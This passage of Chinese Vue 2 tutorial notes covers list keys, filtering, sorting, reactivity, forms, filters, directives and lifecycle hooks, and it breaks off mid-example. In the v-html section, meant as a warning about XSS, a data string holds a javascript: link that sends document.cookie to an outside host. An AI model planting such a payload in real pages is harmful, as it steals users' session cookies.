- 若对数据进行：逆序添加、逆序删除等破坏顺序操作:
  会产生没有必要的真实DOM更新 ==> 界面效果没问题，但效率低（因为要对后续的dom重新新建）
如果结构中还包含输入类的DOM：
会产生错误DOM更新 ==> 界面有问题
开发中如何选择key:
- 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，
  使用index作为key是没有问题的
- 不写key值时，Vue会把的索引值inxdex自动作为key

例子引入 - 数组中添加一个老刘
添加的位置在数组的前面，会出现问题（索引为0，索引后移）；添加在数组的后面不会出现问题

<div id="root">
	<!-- 遍历数组 -->
	<h2>人员列表（遍历数组）</h2>
	<!-- @click.once 只点击一次 -->    
	<button @click.once="add">添加一个老刘</button>
	<ul>
		<li v-for="(p,index) in persons" :key="index">
			{
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}
			<input type="text">
		</li>
	</ul>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			persons:[
				{
    
    id:'001',name:'张三',age:18},
				{
    
    id:'002',name:'李四',age:19},
				{
    
    id:'003',name:'王五',age:20}
			]
		},
		methods: {
    
    
			add(){
    
    
				const p = {
    
    id:'004',name:'老刘',age:40}
				this.persons.unshift(p)
			}
		},
	})
</script>

问题： 看起来好像老刘-40把张三-18顶下去了
在这里插入图片描述

解决方法： 使用 p.id 作为key

<div id="root">
	<!-- 遍历数组 -->
	<h2>人员列表（遍历数组）</h2>
	<!-- @click.once 只点击一次 -->    
	<button @click.once="add">添加一个老刘</button>
	<ul>
		<li v-for="(p,index) in persons" :key="p.id">
			{
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}
			<input type="text">
		</li>
	</ul>
</div>

虚拟Dom的对比算法

index作为key产生的问题
1.diff首先对比生成的两个虚拟DOM 张三-18 和老刘-30，发现不同，打个X
2.再对比两个input，发现相同打个X
3.再用相同的方法把三行都对比后，开始生成新的真实DOM
4.在这个新的真实DOM里，老刘-30是新的，但是input是沿用原来的，所以输入框内容包含“张三-18”
5.生成最后一个王五-20的时候，生成的input是新的，所以输入框内容为空
在这里插入图片描述
id作为key的作用
1.同样是对比两个虚拟DOM，但这一次有任何一个不同，内容都不会沿用
2.对比第一行，老刘-30 和张三-18不同，在创建新的DOM时，直接创建新的内容即老刘-30 空白input
3.对比其他行，都一样，所以都引用的原来的呢日用
在这里插入图片描述

7.6 列表过滤

1.watch方法过滤（少用）

//收集用户所输入的数据 v-model
<div id="root">
   <h2>人员列表</h2>
   <input type="text" placeholder="请输入名字" v-model="keyWord">
   <ul>
   	<li v-for="(p,index) of filPerons" :key="index">
   		{
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}-{
    
    {
    
    p.sex}}
   	</li>
   </ul>
</div>

<script type="text/javascript">
   Vue.config.productionTip = false

   //用watch实现
   new Vue({
    
    
   	el:'#root',
   	data:{
    
    
   		keyWord:'', // 用于绑定，输入的信息
   		persons:[
   			{
    
    id:'001',name:'马冬梅',age:19,sex:'女'},
   			{
    
    id:'002',name:'周冬雨',age:20,sex:'女'},
   			{
    
    id:'003',name:'周杰伦',age:21,sex:'男'},
   			{
    
    id:'004',name:'温兆伦',age:22,sex:'男'}
   		],
   		filPerons:[]  // 数组的元数据不能发生改变，把新数据交给 filPerons:[]
   	},
   	watch:{
    
    
   		keyWord:{
    
    
   			immediate:true,  // 不等发生改变时就调用了一次（否则一开始没有数据）
   			handler(val){
    
    
   				this.filPerons = this.persons.filter((p)=>{
    
    
                  		// 不包含返回 -1，包含返回第几位出现的索引，filter 不改变原来的数组，而会创建一个全新的数组
   					// 上面遍历时，就不能使用persions （不能改变元数据）而是使用 filPerons
   					// 一个字符里面，包不包含空格字符串 包含 返回索引是 0 不是 -1（即默认包含空字符串，位置为0）
   					return p.name.indexOf(val) !== -1
   				})
   			}
   		}
   	}
   })
</script>

2.computed方法过滤（常用）

<div id="root">
	<h2>人员列表</h2>
	<input type="text" placeholder="请输入名字" v-model="keyWord">
	<ul>
		<li v-for="(p,index) of filPerons" :key="index">
			{
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}-{
    
    {
    
    p.sex}}
		</li>
	</ul>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false

	//用computed实现
	new Vue({
    
    
		el:'#root',
		data:{
    
    
			keyWord:'', // 用于绑定，输入的信息
			persons:[  
				{
    
    id:'001',name:'马冬梅',age:19,sex:'女'},
				{
    
    id:'002',name:'周冬雨',age:20,sex:'女'},
				{
    
    id:'003',name:'周杰伦',age:21,sex:'男'},
				{
    
    id:'004',name:'温兆伦',age:22,sex:'男'}
			]
		},
		computed:{
    
    
			filPerons(){
    
    
           			// 把合规的数组再返回给方法
				return this.persons.filter((p)=>{
    
    
               			// 返回filter 规定 返回过滤条件 
					return p.name.indexOf(this.keyWord) !== -1
				})
			}
		}
	}) 
</script>

7.7 列表排序

<div id="root">
	<h2>人员列表</h2>
	<input type="text" placeholder="请输入名字" v-model="keyWord">
	<button @click="sortType = 2">年龄升序</button>
	<button @click="sortType = 1">年龄降序</button>
	<button @click="sortType = 0">原顺序</button>
	<ul>
		<li v-for="(p,index) of filPerons" :key="p.id">
			{
    
    {
    
    p.name}}-{
    
    {
    
    p.age}}-{
    
    {
    
    p.sex}}
			<input type="text">
		</li>
	</ul>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			keyWord:'',
			sortType:0, //0原顺序 1降序 2升序
			persons:[
				{
    
    id:'001',name:'马冬梅',age:30,sex:'女'},
				{
    
    id:'002',name:'周冬雨',age:31,sex:'女'},
				{
    
    id:'003',name:'周杰伦',age:18,sex:'男'},
				{
    
    id:'004',name:'温兆伦',age:19,sex:'男'}
			]
		},
		//computed是只要包含在其中的数据变了就会调用一次，这里sortType变化所以会调用
		computed:{
    
    
			filPerons(){
    
    
				const arr = this.persons.filter((p)=>{
    
    
					return p.name.indexOf(this.keyWord) !== -1
				})
				//判断一下是否需要排序
				if(this.sortType){
    
    
					// sort 改变原数组 p1 - p2 升序 p2 - p1 降序
					arr.sort((p1,p2)=>{
    
    
						return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
					})
				}
				return arr
			}
		}
	}) 
</script>

八、Vue检测数据改变的原理

8.1 更新数据时遇到的一个问题

data:{
    
    
	persons:[
		{
    
    id:'001',name:'马冬梅',age:30,sex:'女'},
		{
    
    id:'002',name:'周冬雨',age:31,sex:'女'},
		{
    
    id:'003',name:'周杰伦',age:18,sex:'男'},
		{
    
    id:'004',name:'温兆伦',age:19,sex:'男'}
	]
},

① 成功

methods: {
    
    
	updateMei(){
    
    
 		this.persons[0].name = '马老师' //奏效
 		this.persons[0].age = 50 		//奏效
 		this.persons[0].sex = '男' 		//奏效
	}
}

② 失败数据已经修改成功，但是Vue 没有发现数据的改变

methods: {
    
    
	updateMei(){
    
    
		this.persons[0] = {
    
    id:'001',name:'马老师',age:50,sex:'男'} //不奏效
	}
}

③ 成功（后面解释原因）

methods: {
    
    
	updateMei(){
    
    
		this.persons.splice(0,1,{
    
    id:'001',name:'马老师',age:50,sex:'男'}) //奏效
	}
}

8.2 Vue监测数据改变的原理–对象

在这里插入图片描述

原理核心代码如下
相当于创建了一个function Observer(obj)，用这个方法为每一个对象赋setter和getter方法

<script type="text/javascript" >

	let data = {
    
    
		name:'尚硅谷',
		address:'北京',
	}

	// ① 创建一个监视的实例对象，用于监视data中属性的变化
	const obs = new Observer(data)	// 收到	Observer 实例对象  
	console.log(obs)	 

	// ④ 准备一个vm实例对象
	let vm = {
    
    }
	vm._data = data = obs

	// Observer 观察者	构造函数 作用: 创建一个，监视的实例对象 可以收到一个对象作为参数
	function Observer(obj){
    
    
		// ② 汇总对象中所有的属性形成一个数组
		const keys = Object.keys(obj)
		// ③ 遍历
		keys.forEach((k)=>{
    
    
			//这里的this 是 Observer 的实例对象，即obs
			Object.defineProperty(this,k,{
    
     // 不直接动 data 数据，往this身上添加数据 
				get(){
    
    
					return obj[k] // 把传入的对象，身上对应的属性的值，交出去
				},
				set(val){
    
     // 可以收到 所修改的值
					console.log(`${
      
      k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`)
					// 把传入 对象身上的key 所对应的那个属性 修改
					obj[k] = val
				}
			})
		})
	}
</script>

8.3 Vue.set方法（Vue Api）

管理者想添加 Vue 尚不完善的功能
如：添加一个性别，当时性别有没有定义下来，随着用户的交互，代码的发现，需要性别

解决方式（两种方式）：

Vue.set(target,key,val) 在Vue身上
- target 目标（往谁的身上添加属性）
- key 什么属性
- val 属性的值
Vue.set(vm._data.student,'sex','男')
vm.$set(vm._data.student,‘sex’,‘男’) 在vm身上

vm.$set(vm._data.student,'sex','女')

上面两种方法 _data均可省略

局限性

只能对对象属性用set
不能对Vue实例，或Vue实例的根数据对象用set，即不能直接往data里插一个新的数据
添加一个功能点我给学生添加一个性别

<div id="root">
	<button @click="addSex">添加一个性别属性，默认值是男</button>
	<h2>姓名：{
    
    {
    
    student.name}}</h2>
	<h2 v-if="student.sex">性别：{
    
    {
    
    student.sex}}</h2>
</div>

<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

const vm = new Vue({
    
    
	el:'#root',
	data:{
    
    
	},
	methods: {
    
    
		addSex(){
    
    
			// Vue.set(this.student,'sex','男')  或者
			this.$set(this.student,'sex','男')
		}
	}
})
</script>

8.4 Vue监测数据改变的原理–数组

data:{
    
    
   	hobby:['抽烟','喝酒','烫头'],
   	friends:[
   		{
    
    name:'jerry',age:35},
   		{
    
    name:'tony',age:36}
   	]
   }
},

直接用下标修改会因为下图原因（因为数组保存的是个字符串，Vue不会对每个字符去设置一个getter和setter）
在这里插入图片描述

要修改数组要通过 Vue 默认修改数组的方法 (7个操作数组的方法)
（注：这些方法是将Array中的同名方法进行封装，在里面插入setter和getter）

push 最后的位置新增一个元素
pop 删除最后一个元素
shift 删除第一个元素
unshift 最前面添加一个元素
splice 指定位置插入一个元素，或者删除一个元素，或者替换调一个元素
sort 数组排序
reverse 翻转数组
filter 不影响原数组，但是还想使用filter 怎么办？
- 把过滤生成的新数组，替换掉原来的数组

共同点：可以修改数组，引起数组的改变
在这里插入图片描述

8.5 Vue数据监测总结

Vue监视数据的原理：

vue会监视data中所有层次的数据。
如何监测对象中的数据？
通过setter实现监视，且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性，Vue默认不做响应式处理
(2).如需给后添加的属性做响应式，请使用如下API：
Vue.set(target，propertyName/index，value) 或
vm.$set(target，propertyName/index，value)
如何监测数组中的数据？
通过包裹数组更新元素的方法实现，本质就是做了两件事：
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板，进而更新页面。
在Vue修改数组中的某个元素一定要用如下方法：
- 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
- Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性

综合案例

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
    
    
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性，默认值：男</button> <br/>
			<button @click="student.sex = '女' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为：开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名：{
    
    {
    
    student.name}}</h3>
			<h3>年龄：{
    
    {
    
    student.age}}</h3>
			<h3 v-if="student.sex">性别：{
    
    {
    
    student.sex}}</h3>
			<h3>爱好：</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{
    
    {
    
    h}}
				</li>
			</ul>
			<h3>朋友们：</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{
    
    {
    
    f.name}}--{
    
    {
    
    f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
    
    
			el:'#root',
			data:{
    
    
				student:{
    
    
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{
    
    name:'jerry',age:35},
						{
    
    name:'tony',age:36}
					]
				}
			},
			methods: {
    
    
				addSex(){
    
    
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
    
    
					this.student.friends.unshift({
    
    name:'jack',age:70})
				},
				updateFirstFriendName(){
    
    
					this.student.friends[0].name = '张三'
				},
				addHobby(){
    
    
					this.student.hobby.push('学习')
				},
				updateHobby(){
    
    
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
    
    
					//filter不改变数组，所以要用新数组替换掉原数组
					this.student.hobby = this.student.hobby.filter((h)=>{
    
    
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>

九、收集表单数据 v-model

收集表单数据：

<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
<input type="checkbox"/>
1. 没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
2. 配置input的value属性:
  (1) v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
  (2) v-model的初始值是数组，那么收集的的就是value组成的数组
v-model的三个修饰符：
lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<div id="root">
			<form @submit.prevent="demo">
				//trim去掉前后空格
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				//前一个number限制输入框只能输入数字，后一个.number使得更新进data的数据为number形式而不是string形式
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择地点</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息：
				//lazy 失去焦点，从textarea上离开则获取输入框中内容
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="https://blog.csdn.net/m0_51487301?spm=1000.2115.3001.5343">《用户协议》</a>
				<button>提交</button>
			</form>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
    
    
			el:'#root',
			data:{
    
    
				userInfo:{
    
    
					account:'',
					password:'',
					age:18,
					sex:'female',
					//多选框在不写value的情况下默认收集checked属性，勾选一个返回true，同时因为双向绑定
					//其他多选框也会被影响为true，呈现打上了勾的效果
					//多选框默认一定要数组，否则如果也写成''，因为只能收集一个值，同上原因也会影响其他多选框的勾选
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
    
    
				demo(){
    
    
					// stringify 穿串
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

十、过滤器 filters

过滤器：

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
1. 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
2. 使用过滤器：{ { xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
3. 其他如 v-model 都不能用
备注：
1. 过滤器也可以接收额外参数、多个过滤器也可以串联
2. 并没有改变原本的数据, 是产生新的对应的数据
3. 全局过滤器是filter，局部过滤器是filters，注意区分防止写错

案例：格式化时间戳

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>

		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 1. 计算属性实现 -->
			<h3>计算属性实现,现在是：{
    
    {
    
    fmtTime}}</h3>
			<!-- 2. methods实现 -->
			<h3>methods实现,现在是：{
    
    {
    
    getFmtTime()}}</h3>
			<!-- 3. 过滤器实现 -->
			<h3>过滤器实现,现在是：{
    
    {
    
    time | timeFormater}}</h3>
			<!-- 过滤器实现（传参）一层一层传递 -->
			<!-- 多个过滤器之间可以串联 -->
			<!-- timeFormater的返回值作为参数传入mySlice中 -->
			<h3>过滤器实现（传参）,现在是：{
    
    {
    
    time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<!-- 过滤器 不仅可以使用在 插值语法中 v-bind 中可以使用 但是使用较少 -->
			<h3 :x="msg | mySlice">Tom</h3>
		</div>

		
		<div id="root2">
			<h2>{
    
    {
    
    msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器（要写在Vue实例之前）
		//该过滤器作为是截取年份
		Vue.filter('mySlice',function(value){
    
    
			return value.slice(0,4)
		})
		
		new Vue({
    
    
			el:'#root',
			data:{
    
    
				time:1658817898000, //时间戳
				msg:'你好，Tom'
			},
			computed: {
    
    
				fmtTime(){
    
    
					// return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
					return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
    
    
				getFmtTime(){
    
    
					// return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
					return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器 只有自己的Vue 实例可以使用 下一个Vue实例不能使用
			filters:{
    
    
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
    
    
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
    
    
			el:'#root2',
			data:{
    
    
				msg:'hello,world'
			}
		})
	</script>
</html>

十一、内置指令

常用指令

v-text : 更新元素的 textContent（不会解析标签）
v-html : 更新元素的 innerHTML（会解析标签）
v-if : 如果为 true, 当前标签才会输出到页面
v-else: 如果为 false, 当前标签才会输出到页面
v-show : 通过控制 display 样式来控制显示/隐藏
v-for : 遍历数组/对象
v-on : 绑定事件监听, 一般简写为@
v-bind : 绑定解析表达式, 可以省略 v-bind
v-model : 双向数据绑定
v-cloak : 如果js文件是在div容器后才引入，那么会出现先渲染div界面，但却没有vue的内容，加上v-cloak，可以使得div容器先隐藏起来，在引入之后再自动出现，与 css 配合: [v-cloak] { display: none }

11.1 v-text指令和 v-html指令

v-text指令：

作用：向其所在的节点中渲染文本内容
与插值语法的区别：v-text会替换掉节点中的内容，{ {xx}}则不会

v-html指令：

作用：向指定节点中渲染包含html结构的内容
持结构的解析，可以展示出标签结构如：
与插值语法的区别：
(1) v-html会替换掉节点中所有的内容，{ {xx}}则不会。
(2) v-html可以识别html结构
严重注意：v-html有安全性问题
(1) 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2) 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上
例如：百度贴吧评论区，如果有用户写了一个a标签，并在其中用拼接？document.cookies，就能获取到用户的cook

两者共同点： 不会再拼接标签中文字

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<div id="root">
			<div>你好，{
    
    {
    
    name}}</div>
			<div v-text="name"></div>
			<div v-html="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
    
    
			el:'#root',
			data:{
    
    
				name:'Tom',
				str:'<h3>你好啊！</h3>',
			}
		})
	</script>
</html>

在这里插入图片描述

//泄露问题
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>v-html指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<div id="root">
		<div>你好，{
    
    {
    
    name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
    
    
		el:'#root',
		data:{
    
    
			name:'Tom',
			str:'<h3>你好啊！</h3>',
			// 				 document.cookie 获取当前网站的全部cookie,跳走,并且所有的cookie以参数的形式，传给网站
			str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
		}
	})
</script>
</html>

在这里插入图片描述

11.2 v-cloak指令

v-cloak指令（没有值）：

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{ {xxx}}的问题

<style>
	//相当于选中包含v-cloak属性的所有块
	[v-cloak]{
    
    
		display:none;
	}
</style>

<div id="root">
	<h2 v-cloak>{
    
    {
    
    name}}</h2>
</div>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
    
    
				display:none;
			}
		</style>

	</head>
	<body>

		<div id="root">
			<h2 v-cloak>{
    
    {
    
    name}}</h2>
		</div>
		<!-- 在div容器后才引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
    
    
			el:'#root',
			data:{
    
    
				name:'Tom'
			}
		})
	</script>
</html>

11.3 v-once指令

v-once指令：

v-once所在节点在初次动态渲染后，就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

在下面这个案例里相当于只在第一次动态绑定n时，把n渲染给h2，之后n++的操作都不会再影响到h2中的n值

<div id="root">
   	<!-- 只进行一次渲染，后变成静态内容 -->
	<h2 v-once>初始化的n值是:{
    
    {
    
    n}}</h2>
</div>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<div id="root">
			<h2 v-once>初始化的n值是:{
    
    {
    
    n}}</h2>
			<h2>当前的n值是:{
    
    {
    
    n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
    
    
			el:'#root',
			data:{
    
    
				n:1
			}
		})
	</script>
</html>

11.4 v-pre指令

v-pre指令：

跳过其所在节点的编译过程
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<div id="root">
    <!-- 给不需要 渲染得数据添加，添加后跳过模板的编译过程，会加快编译过程-->
	<h2 v-pre>Vue其实很简单</h2>>
</div>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			//以下这个h2只包含内容，不包含Vue语法，所以可以加上v-pre跳过其编译
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{
    
    {
    
    n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
    
    
			el:'#root',
			data:{
    
    
				n:1
			}
		})
	</script>
</html>

十二、自定义指令 directives

自定义指令总结：

一、定义语法：

局部指令
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
全局指令：
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调

bind：指令与元素成功绑定时调用
inserted：指令所在元素被插入页面时调用
update：指令所在模板结构被重新解析时调用

三、备注

指令定义时不加v-，但使用时要加v-；
指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点

12.1 自定义指令-函数式

函数式属于对象式的简写方式只是写了 bind、update 没有书写 inserted

// 函数式
<div id="root">
   <h2>{
    
    {
    
    name}}</h2>
   <h2>当前的n值是：<span v-text="n"></span> </h2>
   <h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
   <button @click="n++">点我n+1</button>
</div>
   
<script type="text/javascript">
   Vue.config.productionTip = false
     
   new Vue({
    
    
   	el:'#root',
   	data:{
    
    
   		name:'Tom',
   		n:1
   	},
   	directives:{
    
    
   		// big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
   		// element 真实的Dom元素 binding 本次绑定的所有信息
   		big(element,binding){
    
    
   			// 如何验证 element 是真实Dom元素
   			// 方式一:
   			console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法
   			// 方式二:
   			console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true 
   			element.innerText = binding.value * 10
   		},
   	}
   })	
</script>

12.2 自定义指令-对象式

<div id="root">
   <h2>{
   
   {name}}</h2>
   <h2>当前的n值是：<span v-text="n"></span> </h2>
   <!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
   <h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
   <button @click="n++">点我n+1</button>
   <hr/>
   <input type="text" v-fbind:value="n">
</div>
   
<script type="text/javascript">
   Vue.config.productionTip = false

   new Vue({
   	el:'#root',
   	data:{
   		name:'Tom',
   		n:1
   	},
   	directives:{
   		fbind:{
   			//指令与元素成功绑定时（一上来）
   			bind(element,binding){
   				element.value = binding.value
   			},
   			//指令所在元素被插入页面时
   			inserted(element,binding){
   				element.focus() // focus 获取焦点
   			},
   			//指令所在的模板被重新解析时
   			update(element,binding){
   				element.value = binding.value
   			}
   		}
   	}
   })		
</script>

12.3 注意点

此时的this 是 window
多个名称一起定义时使用 - ，不是驼峰命名法，如：big-number
局部指令和全局指令

// 定义全局指令  和 过滤器一样
// 对象式
Vue.directive('fbind',{
    
    
	//指令与元素成功绑定时（一上来）
	bind(element,binding){
    
    
		element.value = binding.value
	},
	//指令所在元素被插入页面时
	inserted(element,binding){
    
    
		element.focus()
	},
	//指令所在的模板被重新解析时
	update(element,binding){
    
    
		element.value = binding.value
	}
}) 
// 函数式
Vue.directive('fbind',function(element,binding){
    
    
			// 如何验证 element 是真实Dom元素
			// 方式一:
			console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法
			// 方式二:
			console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true 
			console.log('big',this) //注意此处的this是window
			// console.log('big')
			element.innerText = binding.value * 10
})

十三、Vue的生命周期

Vue实例有一个完整的生命周期，也就是从开始创建初始化数据、编译模板、挂载DOM、渲染一更新一渲染、卸载等一系列过程，我们称这是Vue的生命周期。通俗说就是Vue实例从创建到销毁的过程，就是生命周期

13.1 生命周期流程图

在这里插入图片描述

13.2 vue 生命周期

初始化显示：

beforeCreate()
created()
beforeMount()
mounted() （常用）
更新状态: this.xxx = value

beforeUpdate()

updated()
销毁 vue 实例: vm.$destoryed()
beforeDestory()（常用）
destoryed()

13.3 引出Vue的生命周期

生命周期：

又名：生命周期回调函数、生命周期函数、生命周期钩子
是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的
生命周期函数中的this指向是vm 或组件实例对象

案例：给定初始透明度为1，透明度不断减少，减少到0又重新变为1
① 基本代码

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
           <!--opacity 表示css的属性(不透明) opacity 表示数据的名-->
			<h2 :style="{opacity: opacity}">欢迎学习Vue</h2>
           <!-- 重名 对象的简写形式-->    
           <h2 :style="{opacity}">欢迎学习Vue</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		 new Vue({
    
    
			el:'#root',
			data:{
    
    
				opacity:1
			},
		})
	</script>
</html>

② 方法1：设置外部定时器

// 方式一：不推荐，逻辑操作，Vue实例，代码层面是割裂开的
<script type="text/javascript">
	 const vm = new Vue({
    
    
			el:'#root',
			data:{
    
    
				opacity:1
			},
			methods: {
    
    
				
			},
		})
		// 通过外部的定时器实现（不推荐）
		// 循环定时器
		setInterval(() => {
    
    
			vm.opacity -= 0.01
			if(vm.opacity <= 0) vm.opacity = 1 // 在透明度小于等于0时,让其变为1
		},16)  //16 毫秒
</script>

③方法2：mounted 钩子函数

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	 new Vue({
    
    
		el:'#root',
		data:{
    
    
